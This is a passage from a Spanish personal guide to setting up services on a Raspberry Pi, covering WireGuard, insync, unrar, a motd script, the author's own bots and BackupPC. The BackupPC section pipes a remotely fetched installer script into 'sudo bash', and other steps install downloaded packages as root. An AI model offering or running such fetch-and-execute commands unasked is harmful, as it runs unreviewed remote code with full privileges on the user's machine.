sudo iptables -t nat -A POSTROUTING -s 10.6.0.0/24 -o eth0 -j MASQUERADE&lt;/p>
&lt;h3 id="en-caso-de-fallo-por-actualización-del-kernel">En caso de fallo por actualización del Kernel&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span> &amp;gt; /boot/.firmware_revision &lt;span class="c1"># cambiar hash firmware para forzar descargarlo de nuevo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo rpi-update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo reboot
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt-get install --reinstall wireguard-dkms
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>configurar firewall con input drop src 192.168.1.1&lt;/p>
&lt;p>tmux&lt;/p>
&lt;h2 id="insync">insync&lt;/h2>
&lt;p>Usar el articulo: &lt;a class="link" href="https://procamora.github.io/2016/06/add-count-insync-portable-cli/" target="_blank" rel="noopener"
>add-count-insync-portable-cli&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">wget https://procamora.github.io/downloads/insync/insync-armhf_1.3.17.36167_i386.tar.bz2 -O &lt;span class="nv">$HOME&lt;/span>/Downloads/insync-armhf_i386.tar.bz2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xjf &lt;span class="nv">$HOME&lt;/span>/Downloads/insync-armhf_i386.tar.bz2 -C &lt;span class="nv">$HOME&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> &lt;span class="nv">$HOME&lt;/span>/insync-portable
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">firefox https://insynchq.com/auth
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./insync-portable add_account --auth-code 2/5ACzcYmorAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./insync-portable start
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./insync-portable manage_selective_sync pablojoserocamora@gmail.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./insync-portable get_sync_progress
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ln -s ~/pablojoserocamora@gmail.com/scripts/ ~
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mkdir ~/decrypt_gdrive/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Si manege_selective da un fallo de &lt;em>curses.error: setupterm: could not find terminal&lt;/em>. Ejecutar el comando:&lt;/p>
&lt;/blockquote>
&lt;pre>&lt;code>```bash
export TERM=xterm
export TERMINFO=/etc/terminfo
```
&lt;/code>&lt;/pre>
&lt;h2 id="ftp">ftp&lt;/h2>
&lt;p>&lt;a class="link" href="https://www.solvetic.com/tutoriales/article/3212-como-instalar-servidor-ftp-linux-centos7/" target="_blank" rel="noopener"
>https://www.solvetic.com/tutoriales/article/3212-como-instalar-servidor-ftp-linux-centos7/&lt;/a>&lt;/p>
&lt;h2 id="unrar">unrar&lt;/h2>
&lt;p>Para podemos descomprimir ficheros rar protegidos con contraseña vamos a descargarnos el paquete unrar non-free para arm:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">wget https://procamora.github.io/downloads/unrar_5.2.7-0.1_armhf.deb
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dpkg -i unrar_5.2.7-0.1_armhf.deb
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>&lt;strong>Importante&lt;/strong>: No instalar el paquete disponible en los repositorios (unrar-free), ya no funciona con rar con contraseña.&lt;/p>
&lt;/blockquote>
&lt;h2 id="motd">motd&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rm /etc/motd
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo rm /etc/update-motd.d/10-uname
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#sudo sed -i -E &amp;#39;s/^#?PrintLastLog (yes|no)$/PrintLastLog no/&amp;#39; /etc/ssh/sshd_config&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo wget https://raw.githubusercontent.com/gagle/raspberrypi-motd/master/motd.sh -O /etc/update-motd.d/10-stats
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown root:root /etc/update-motd.d/10-stats
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chmod +x /etc/update-motd.d/10-stats
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#sudo systemctl restart sshd&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="programas-propios">Programas propios&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;span class="lnt">52
&lt;/span>&lt;span class="lnt">53
&lt;/span>&lt;span class="lnt">54
&lt;/span>&lt;span class="lnt">55
&lt;/span>&lt;span class="lnt">56
&lt;/span>&lt;span class="lnt">57
&lt;/span>&lt;span class="lnt">58
&lt;/span>&lt;span class="lnt">59
&lt;/span>&lt;span class="lnt">60
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git config --global user.email &lt;span class="s2">&amp;#34;pablojoserocamora@gmail.com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git config --global user.name &lt;span class="s2">&amp;#34;procamora&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Minitrue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/minitrue &lt;span class="nv">$HOME&lt;/span>/minitrue
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo pip3 install -r &lt;span class="nv">$HOME&lt;/span>/minitrue/requirements.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install -y nmap texlive-latex-recommended texlive-latex-extra texlive-lang-english
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod u+x &lt;span class="nv">$HOME&lt;/span>/minitrue/bot_minitrue.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">644&lt;/span> &lt;span class="nv">$HOME&lt;/span>/minitrue/mio_bot_minitrue.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo cp &lt;span class="nv">$HOME&lt;/span>/minitrue/mio_bot_minitrue.service /lib/systemd/system/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Series Manager&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/Gestor-Series &lt;span class="nv">$HOME&lt;/span>/series_manager
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip3 install --user -r &lt;span class="nv">$HOME&lt;/span>/series_manager/requirements_bot.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod u+x &lt;span class="nv">$HOME&lt;/span>/series_manager/app/utils/bot_series.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">644&lt;/span> &lt;span class="nv">$HOME&lt;/span>/series_manager/mio_bot_series_manager.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo cp &lt;span class="nv">$HOME&lt;/span>/series_manager/mio_bot_series_manager.service /lib/systemd/system/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Bot Dicctionary&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/bot_dictionary &lt;span class="nv">$HOME&lt;/span>/bot_dictionary
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip3 install --user -r &lt;span class="nv">$HOME&lt;/span>/bot_dictionary/requirements.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod u+x &lt;span class="nv">$HOME&lt;/span>/bot_dictionary/bot_dictionary.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">644&lt;/span> &lt;span class="nv">$HOME&lt;/span>/bot_dictionary/mio_bot_dictionary.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo cp &lt;span class="nv">$HOME&lt;/span>/bot_dictionary/mio_bot_dictionary.service /lib/systemd/system/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Bot Common Ports&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/bot_common_ports &lt;span class="nv">$HOME&lt;/span>/bot_common_ports
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip3 install --user -r &lt;span class="nv">$HOME&lt;/span>/bot_common_ports/requirements.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod u+x &lt;span class="nv">$HOME&lt;/span>/bot_common_ports/bot_common_ports.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">644&lt;/span> &lt;span class="nv">$HOME&lt;/span>/bot_common_ports/mio_bot_common_ports.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo cp &lt;span class="nv">$HOME&lt;/span>/bot_common_ports/mio_bot_common_ports.service /lib/systemd/system/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Bot Promox&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/bot_proxmox &lt;span class="nv">$HOME&lt;/span>/bot_proxmox
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip3 install --user -r &lt;span class="nv">$HOME&lt;/span>/bot_proxmox/requirements.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install -y wakeonlan
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod u+x &lt;span class="nv">$HOME&lt;/span>/bot_proxmox/bot_proxmox.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">644&lt;/span> &lt;span class="nv">$HOME&lt;/span>/bot_proxmox/mio_bot_proxmox.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo cp &lt;span class="nv">$HOME&lt;/span>/bot_proxmox/mio_bot_proxmox.service /lib/systemd/system/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Wiki personal&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip3 install --user -r &lt;span class="nv">$HOME&lt;/span>/wiki-personal/requirements.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Manage systemd&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl daemon-reload
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> mio_bot_minitrue.service &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> sudo systemctl start mio_bot_minitrue.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> mio_bot_series_manager.service &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> sudo systemctl start mio_bot_series_manager.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> mio_bot_dictionary.service &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> sudo systemctl start mio_bot_dictionary.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> mio_bot_common_ports.service &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> sudo systemctl start mio_bot_common_ports.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> mio_bot_proxmox.service &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> sudo systemctl start mio_bot_proxmox.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># pull all repos&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">DIRS&lt;/span>&lt;span class="o">=(&lt;/span> minitrue series_manager bot_dictionary bot_common_ports bot_proxmox &lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="nb">dirs&lt;/span> in &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nv">DIRS&lt;/span>&lt;span class="p">[@]&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">do&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="nv">$HOME&lt;/span>/&lt;span class="nv">$dirs&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> git -C &lt;span class="nv">$HOME&lt;/span>/&lt;span class="nv">$dirs&lt;/span> pull &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> git -C &lt;span class="nv">$HOME&lt;/span>/&lt;span class="nv">$dirs&lt;/span> status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="backuppc">BackupPC&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">wget -q -O - https://gist.githubusercontent.com/procamora/c32acb2f3ca4fb49c66e879644b11dc2/raw/76eb16ddaee21186e46a429ae9719723d960ab05/backuppc-ubuntu-installer.sh &lt;span class="p">|&lt;/span> sudo bash
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chmod &lt;span class="m">755&lt;/span> /etc/BackupPC
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo htpasswd /etc/BackupPC/BackupPC.users backuppc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo usermod -a -G hdd backuppc &lt;span class="c1"># cuidado que puede que aun no exista&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo usermod -a -G www-data backuppc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown backuppc:www-data /etc/BackupPC/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown backuppc:www-data /etc/BackupPC/BackupPC.users
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">firefox http://localhost/BackupPC_Admin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Vamos a instalar el servicio BackupPC para para realizar copias de seguridad de los distintos hosts.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt install backuppc rsync
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo htpasswd /etc/backuppc/htpasswd backuppc &lt;span class="c1"># Establecer nuestra propia password&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> backuppc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl stop backuppc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Como estamos en una Raspberry Pi y no queremos hacer los backup de los equipos en una Micro SD de 32Gb, vamos a cambiar el directorio donde se guardan los backup, para ello lo primero sera editar el fichero de configuración y poner el nuevo directorio:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo vim /etc/backuppc/config.pl
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Añadir&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$Conf&lt;/span>&lt;span class="o">{&lt;/span>TopDir&lt;span class="o">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/media/HDD/backuppc&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$Conf&lt;/span>&lt;span class="o">{&lt;/span>LogDir&lt;span class="o">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/media/HDD/backuppc/log&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez que tenemos indicado el nuevo directorio copiamos todos los directorios y ficheros que habían en el directorio por defecto al nuevo:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo cp -r /var/lib/backuppc/* /media/HDD/backuppc/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para evitar poner las IPs vamos a indicar el nombre asociada a cada IP.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;# personal hosts
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.71 rp3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.72 zero
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.141 xiaomi
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.144 4770k
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&lt;/span> &amp;gt;&amp;gt; /etc/hosts
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>c&lt;/p>
&lt;p>Establecemos los permisos necesarios para el directorio. Este paso esta enlazado con el de Transmission, ya que ahí es donde se crea el grupo &lt;em>hdd&lt;/em>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo usermod -a -G hdd backuppc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown backuppc:backuppc /media/HDD/backuppc/ -R
